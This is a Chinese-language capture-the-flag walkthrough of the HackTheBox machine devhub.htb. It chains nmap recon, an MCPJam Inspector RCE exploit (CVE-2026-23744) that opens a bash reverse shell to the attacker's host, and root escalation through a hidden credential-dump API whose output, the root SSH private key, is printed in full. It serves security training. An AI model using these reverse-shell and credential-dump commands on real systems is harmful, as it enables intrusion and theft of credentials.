目标信息
IP地址:
10.129.173.84(非固定IP地址)
信息收集
ICMP检测
PING 10.129.173.84 (10.129.173.84) 56(84) bytes of data.
64 bytes from 10.129.173.84: icmp_seq=1 ttl=63 time=462 ms
64 bytes from 10.129.173.84: icmp_seq=2 ttl=63 time=383 ms
64 bytes from 10.129.173.84: icmp_seq=3 ttl=63 time=610 ms
64 bytes from 10.129.173.84: icmp_seq=4 ttl=63 time=532 ms
--- 10.129.173.84 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 382.782/496.669/609.875/84.018 ms
攻击机和靶机间网络连接较差。
防火墙检测
# Nmap 7.99 scan initiated Sun May 31 00:53:53 2026 as: /usr/lib/nmap/nmap -sA -p- --min-rate 3000 -oN ack_result.txt 10.129.173.84
Nmap scan report for 10.129.173.84
Host is up (0.50s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp unfiltered ssh
80/tcp unfiltered http
6274/tcp unfiltered unknown
# Nmap done at Sun May 31 00:54:40 2026 -- 1 IP address (1 host up) scanned in 47.46 seconds
靶机疑似开放了3个TCP端口。
网络端口扫描
TCP端口扫描结果
# Nmap 7.99 scan initiated Sun May 31 00:55:57 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.173.84
Nmap scan report for 10.129.173.84
Host is up (0.46s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:78:2e:79:0d:87:13:05:2f:53:8e:e7:3c:55:b6:4c (ECDSA)
|_ 256 dd:56:8e:bc:da:b8:38:3e:9a:cd:0b:74:ee:53:85:f8 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devhub.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
6274/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 200 OK
| access-control-allow-credentials: true
| content-length: 466
| content-type: text/html; charset=utf-8
| vary: Origin
| Date: Sun, 31 May 2026 00:58:07 GMT
| Connection: close
| <!doctype html>
| <html lang="en">
| <head>
| <meta charset="UTF-8" />
| <link rel="icon" type="image/svg+xml" href="/mcp_jam.svg" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0" />
| <title>MCPJam Inspector</title>
| <script type="module" crossorigin src="/assets/index-DRYhT9Xb.js"></script>
| <link rel="stylesheet" crossorigin href="/assets/index-XvFRNbCs.css">
| </head>
| <body>
| <div id="root"></div>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 204 No Content
| access-control-allow-credentials: true
| access-control-allow-methods: GET,HEAD,PUT,POST,DELETE,PATCH
| vary: Origin
| content-type: text/plain; charset=UTF-8
| Date: Sun, 31 May 2026 00:58:08 GMT
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6274-TCP:V=7.99%I=7%D=5/31%Time=6A1B879F%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,290,"HTTP/1\.1\x20200\x20OK\r\naccess-control-allow-credential
SF:s:\x20true\r\ncontent-length:\x20466\r\ncontent-type:\x20text/html;\x20
SF:charset=utf-8\r\nvary:\x20Origin\r\nDate:\x20Sun,\x2031\x20May\x202026\
SF:x2000:58:07\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<
SF:html\x20lang=\"en\">\n\x20\x20<head>\n\x20\x20\x20\x20<meta\x20charset=
SF:\"UTF-8\"\x20/>\n\x20\x20\x20\x20<link\x20rel=\"icon\"\x20type=\"image/
SF:svg\+xml\"\x20href=\"/mcp_jam\.svg\"\x20/>\n\x20\x20\x20\x20<meta\x20na
SF:me=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\
SF:"\x20/>\n\x20\x20\x20\x20<title>MCPJam\x20Inspector</title>\n\x20\x20\x
SF:20\x20<script\x20type=\"module\"\x20crossorigin\x20src=\"/assets/index-
SF:DRYhT9Xb\.js\"></script>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x
SF:20crossorigin\x20href=\"/assets/index-XvFRNbCs\.css\">\n\x20\x20</head>
SF:\n\x20\x20<body>\n\x20\x20\x20\x20<div\x20id=\"root\"></div>\n\x20\x20<
SF:/body>\n</html>\n")%r(HTTPOptions,F0,"HTTP/1\.1\x20204\x20No\x20Content
SF:\r\naccess-control-allow-credentials:\x20true\r\naccess-control-allow-m
SF:ethods:\x20GET,HEAD,PUT,POST,DELETE,PATCH\r\nvary:\x20Origin\r\ncontent
SF:-type:\x20text/plain;\x20charset=UTF-8\r\nDate:\x20Sun,\x2031\x20May\x2
SF:02026\x2000:58:08\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPReques
SF:t,F0,"HTTP/1\.1\x20204\x20No\x20Content\r\naccess-control-allow-credent
SF:ials:\x20true\r\naccess-control-allow-methods:\x20GET,HEAD,PUT,POST,DEL
SF:ETE,PATCH\r\nvary:\x20Origin\r\ncontent-type:\x20text/plain;\x20charset
SF:=UTF-8\r\nDate:\x20Sun,\x2031\x20May\x202026\x2000:58:08\x20GMT\r\nConn
SF:ection:\x20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,"HTTP
SF:/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSS
SF:tatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConn
SF:ection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\nConnection:\x20close\r\n\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (95%), Linux 2.6.32 - 3.13 (91%), Linux 3.2 - 4.14 (91%), Linux 2.6.32 - 3.10 (91%), Linux 3.10 - 4.11 (90%), Linux 5.14 - 6.8 (90%), Linux 4.15 (88%), OpenWrt 22.03 (Linux 5.10) (88%), Linux 6.0 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 465.87 ms 10.10.16.1
2 465.93 ms 10.129.173.84
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 31 00:58:57 2026 -- 1 IP address (1 host up) scanned in 180.43 seconds
UDP端口扫描结果
# Nmap 7.99 scan initiated Sun May 31 01:04:04 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.173.84
Nmap scan report for 10.129.173.84
Host is up (0.52s latency).
All 65535 scanned ports on 10.129.173.84 are in ignored states.
Not shown: 65535 open|filtered udp ports (no-response)
# Nmap done at Sun May 31 01:04:53 2026 -- 1 IP address (1 host up) scanned in 48.96 seconds
同时发现靶机运行Ubuntu Linux操作系统,开放了22/ssh和80,6274/http服务,根据HackTheBox内容规则,靶机主域名为devhub.htb。
服务探测
SSH服务(22端口)
尝试使用ssh工具连接靶机,查看其登录方式:
ssh root@devhub.htb

发现靶机允许使用密码和密钥登录。
Web应用程序(80端口)
打开主页:http://devhub.htb/

发现该站点为某个AI集成在线开发平台的主页,主页提到在6274端口运行了MCPJam Inspector服务,在内网8888端口运行了类Jupyter分析环境,除此之外还有一个Git在线服务。
尝试扫描目录,但未发现任何信息。
Web应用程序(6274端口)
打开主页:http://devhub.htb/

发现6274端口运行了MCPJam Inspector大模型应用开发平台。切换到Settings页面,可知应用版本为1.4.2:

尝试联网搜索,发现该版本MCPJam Inspector存在未授权RCE漏洞,编号为CVE-2026-23744:GitHub - d3vn0mi/CVE-2026-23744-POC · GitHub

渗透测试
CVE-2026-23744漏洞利用
在之前的服务探测过程中,我们成功发现靶机MCPJam Inspector服务存在未授权RCE漏洞,现在进行利用。首先将利用脚本下载到本地:
git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
随后在本地打开netcat监听:
rlwrap nc -l -p 443 -s 10.10.16.4
并执行攻击命令:
python CVE-2026-23744-POC/exploit.py -t devhub.htb -p 6274 -c "/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.4/443 0>&1' &"

成功收到反弹Shell!!
权限提升
目录信息收集
进入系统后,执行目录信息收集。在/opt/目录下发现了名为opsmcp的子目录:
ls -lA /opt/opsmcp/

但该文件属主为analyst,权限为640,当前用户mcp-dev无权查看。尝试列出进程列表:
ps -efww

发现如下高价值进程:
analyst用户:JupyterLab在线开发环境,监听靶机本地8888端口,Token为a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7;root用户:/opt/opsmcp/server.py。
经分析研判,决定先将靶机8888端口转发至本地,登录Jupyter Notebook后,获取analyst用户权限,对/opt/opsmcp/server.py进行代码审计,尝试利用其提权。
高权限Python Web程序利用
在目录信息收集阶段,我们已经成功发现了两个高价值目标,并确定了提权路径,现在进行利用。
首先使用ssh转发靶机8888端口:
ssh -fCNR 8888:localhost:8888 root@10.10.16.4 -p 22222
随后打开网址:http://127.0.0.1:8888,在JupyterLab登录页输入从进程命令中发现的Token登录:

成功!点击Terminal按钮打开在线终端,执行cat /opt/opsmcp/server.py命令查看其源代码:

#!/usr/bin/env python3
"""
OPSMCP - Operations MCP Server
Internal tool for system operations management
"""
from flask import Flask, jsonify, request
import os
app = Flask(__name__)
# API Key for authentication
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"
# Registered tools (visible)
VISIBLE_TOOLS = {
"ops.system_status": {
"description": "Get system status and health metrics",
"parameters": {}
},
"ops.list_services": {
"description": "List running services",
"parameters": {}
},
"ops.check_disk": {
"description": "Check disk usage",
"parameters": {}
},
"ops.view_logs": {
"description": "View recent system logs",
"parameters": {"service": "string"}
}
}
# Hidden tools (not in /tools/list but callable)
HIDDEN_TOOLS = {
"ops._admin_dump": {
"description": "Emergency credential dump - INTERNAL ONLY",
"parameters": {"target": "string", "confirm": "boolean"}
},
"ops._debug_mode": {
"description": "Enable debug mode",
"parameters": {}
}
}
ALL_TOOLS = {**VISIBLE_TOOLS, **HIDDEN_TOOLS}
def check_auth():
"""Check API key authentication"""
api_key = request.headers.get('X-API-Key', '')
return api_key == VALID_API_KEY
@app.route('/')
def index():
return jsonify({
"server": "OPSMCP",
"version": "2.1.0",
"status": "operational",
"endpoints": ["/tools/list", "/tools/call", "/health"],
"auth": "Required - X-API-Key header"
})
@app.route('/health')
def health():
return jsonify({"status": "healthy", "uptime": "14d 3h 22m"})
@app.route('/tools/list')
def list_tools():
if not check_auth():
return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401
return jsonify({
"tools": list(VISIBLE_TOOLS.keys()),
"count": len(VISIBLE_TOOLS),
"details": VISIBLE_TOOLS
})
@app.route('/tools/call', methods=['POST'])
def call_tool():
if not check_auth():
return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401
data = request.get_json() or {}
tool_name = data.get('name', '')
args = data.get('arguments', {})
if not tool_name:
return jsonify({"error": "Tool name required"}), 400
if tool_name not in ALL_TOOLS:
return jsonify({"error": f"Unknown tool: {tool_name}"}), 404
# Execute tool
if tool_name == "ops.system_status":
return jsonify({
"cpu": "23%",
"memory": "1.2GB/4GB",
"load": "0.45",
"status": "nominal"
})
elif tool_name == "ops.list_services":
return jsonify({
"services": [
{"name": "nginx", "status": "running", "pid": 1234},
{"name": "opsmcp", "status": "running", "pid": 5678},
{"name": "jupyter", "status": "running", "pid": 9012},
{"name": "mcpjam", "status": "running", "pid": 3456}
]
})
elif tool_name == "ops.check_disk":
return jsonify({
"filesystems": [
{"mount": "/", "used": "4.2G", "available": "15G", "percent": "22%"},
{"mount": "/home", "used": "1.1G", "available": "8G", "percent": "12%"}
]
})
elif tool_name == "ops.view_logs":
service = args.get('service', 'system')
return jsonify({
"service": service,
"logs": [
"[2026-01-22 10:00:01] Service started",
"[2026-01-22 10:00:02] Listening on configured port",
"[2026-01-22 10:15:33] Health check passed",
"[2026-01-22 11:00:00] Routine maintenance completed"
]
})
elif tool_name == "ops._debug_mode":
return jsonify({
"debug": True,
"message": "Debug mode enabled",
"hidden_tools": list(HIDDEN_TOOLS.keys()),
"note": "Debug endpoints now accessible"
})
elif tool_name == "ops._admin_dump":
target = args.get('target', '')
confirm = args.get('confirm', False)
if not confirm:
return jsonify({
"error": "Confirmation required",
"usage": "Set confirm=true to proceed",
"warning": "This dumps sensitive credentials"
})
if target == "ssh_keys":
try:
with open('/root/.ssh/id_rsa', 'r') as f:
key_data = f.read()
return jsonify({
"target": "ssh_keys",
"root_private_key": key_data,
"note": "Emergency recovery key dump"
})
except Exception as e:
return jsonify({
"target": "ssh_keys",
"error": f"Could not read key: {str(e)}"
})
elif target == "passwords":
return jsonify({
"target": "passwords",
"dump": {
"root": "$6$rounds=656000$saltsalt$hashedpassword",
"analyst": "JupyterN0tebook!2026",
"mcp-dev": "Mcp!Insp3ct0r2026"
}
})
elif target == "tokens":
return jsonify({
"target": "tokens",
"api_tokens": {
"admin_token": "opsmcp_admin_7f3b9c2d1e4f5a6b",
"service_token": "opsmcp_svc_8c9d0e1f2a3b4c5d"
}
})
else:
return jsonify({
"error": "Invalid target",
"valid_targets": ["ssh_keys", "passwords", "tokens"]
})
return jsonify({"error": "Tool execution failed"}), 500
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
现在我们可以对该Python Web程序进行分析。
首先分析程序开头。程序首先定义了访问凭据变量VALID_API_KEY(访问凭据为:opsmcp_secret_key_4f5a6b7c8d9e0f1a),以及6个WebAPI方法,并将两个方法数组合并到了ALL_TOOLS数组中,这里着重关注敏感方法ops._admin_dump。
随后,程序定义了check_auth()方法,用于检查访问请求是否授权;该方法直接从HTTP请求头中获取X-API-Key的值,并将其与VALID_API_KEY变量值比较,因此,要调用该Python WebAPI,我们必须在请求头中添加字段:
X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a
接着来分析与端点/tools/call绑定的程序主干方法call_tools(),通读其代码,不难发现该方法为WebAPI功能的实现。方法开头首先调用check_auth()检查授权情况,随后从HTTP请求中读取JSON数据,获取了name字符串值(要调用的功能名称,存入tool_name)和arguments数组(功能参数列表)。
我们着重分析tool_name值为ops._admin_dump的逻辑分支:

当用户调用该功能时,程序会从arguments子数组中读取target和confirm两个字符串值,并首先判断confirm值是否为False,若不是,则根据target的值执行对应的功能分支;当target值等于ssh_keys时,程序会直接读取/root/.ssh/id_rsa私钥,并将其返回给用户,造成敏感信息泄露,进而导致权限提升。
最后,我们可得知程序监听靶机本地的5000端口。
按照上述分析,我们可以构造出如下HTTP请求内容:
{
"name": "ops._admin_dump",
"arguments": {
"target": "ssh_keys",
"confirm": "true"
}
}
下面进行利用,直接在靶机上执行curl命令:
curl -X POST -H "Content-Type: application/json" -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" -d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys","confirm": "true"}}' http://127.0.0.1:5000/tools/call

成功读取root用户SSH密钥!直接使用如下脚本程序整理其格式:
raw_sshkey = "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STypOUH9\nG/jqltqP312IONAX9LwvTne81E4h+hi2xdjwgvh27iE4AvCQolR8S0GWHwHQjjXVQ5/dHX\n8MA96Qabow623zQe5D6PUAsFj6aWP5fDceIziAxkLIMgpsE6I0bWOKaGmgEG0rW1I/mw8z\n6HmooVORQsQoTaVUhnUmRJRcLpQEu94hzb+0kQ0ObKikcDTnit1kQ/7ZUOoyGhUgEwVk/n\nGhm2D96OW/JLpMIowwDxnka+3l9u5Aj55Y9fWN9aGld5pVvcoPRZ7twODIbXNSjzWsLQRQ\n7l8/a2M+aQAAA8BGnYWeRp2FngAAAAdzc2gtcnNhAAABAQDBYfDgi/zIPDKo5pw7m4HY4W\nv9FoPVMXX3am2Ale7S+PlJPKk5Qf0b+OqW2o/fXYg40Bf0vC9Od7zUTiH6GLbF2PCC+Hbu\nITgC8JCiVHxLQZYfAdCONdVDn90dfwwD3pBpujDrbfNB7kPo9QCwWPppY/l8Nx4jOIDGQs\ngyCmwTojRtY4poaaAQbStbUj+bDzPoeaihU5FCxChNpVSGdSZElFwulAS73iHNv7SRDQ5s\nqKRwNOeK3WRD/tlQ6jIaFSATBWT+caGbYP3o5b8kukwijDAPGeRr7eX27kCPnlj19Y31oa\nV3mlW9yg9Fnu3A4Mhtc1KPNawtBFDuXz9rYz5pAAAAAwEAAQAAAQAjgZkZkXpjRXJDwrvS\n0fWgXZtXR8gC3+b5+4eJgX3tLJuQz9t+UNhpR2XDNvQNnf3B+Ks9W0QQUznPfV0Nr3X3k6\nJtWbN0e5LuLz9PHtYHd05Z+RpS0h2LIhIWNVp+Z2H6l54dy/1LELVVU47B0kSAD0Qig3g8\nHUa/oEljrrgzTlYflRHhkHQblmd9ZaClUoxIDh0zf2Esmp3nIRBm4J1OX5UQPiPEa7/LkB\ndcQr1K4Z1pbZglc5wPUJZCv8MtVPvW9rCgERl9Sl4bKevsgS4mMMUvVxNdqyasYqNAXi/L\nCvk9YYP9PS4q1dfCYMIvsJJNyoBtUiCJwqW2ba6hs1vVAAAAgDEPkj6UOdX1B872cHrja2\nnkahzlja7GZw3G2+hsib4kH/G1nwQs9RRtnzqf/mrXeEhxB27ZN+QE39e7yTC3r6f84mSn\nMz/gS3Czh6DtP+S18jV4xCeac/SoLuxgLvPZ3xnHWvPO6HePQzyVlVk/MBfp+yPrCpIiHK\nMtVMaeJXFYAAAAgQDSlTQAPhkFhsswOcohRO+1hd/4xdD9UECem1ytsb5/on47/GEWvtQI\noocmAAMvEYlOvs8GXeYkMBAwi5VCjLunNBCmuRMjTEgE7lqgdhfkK0Lx/a4BWnYaki+xbk\nJt9XB5f2NlmnT4A5QqiO+qPYA2i1iF9CSv5ypxqHFChgMZNwAAAIEA6xcR6lBjwgtKuzRQ\nnI+f8DFRxcdfKY1gs0BmfS0RRxwDzIEwJHYafyHnq/CKBTDPCYyn/VI+mF64hhtjUbDgAr\nC8X6q/4LJecp3piSHgv6yXhpzkxtz+Q/JSXPFf/9NAgVFQtUjrrnGZbP9kNySaX6q6/npK\nlFORwv9PYfxftV8AAAALcm9vdEBkZXZodWI=\n-----END OPENSSH PRIVATE KEY-----\n"
split_sshkey = raw_sshkey.split('\n')
with open("root_sshkey.txt", "w+") as f:
for line in split_sshkey: f.write(line + '\n')
整理完成后,赋予其400权限,使用ssh登录root用户:
chmod 400 root_sshkey.txt
ssh -i root_sshkey.txt root@devhub.htb

提权成功!!!!
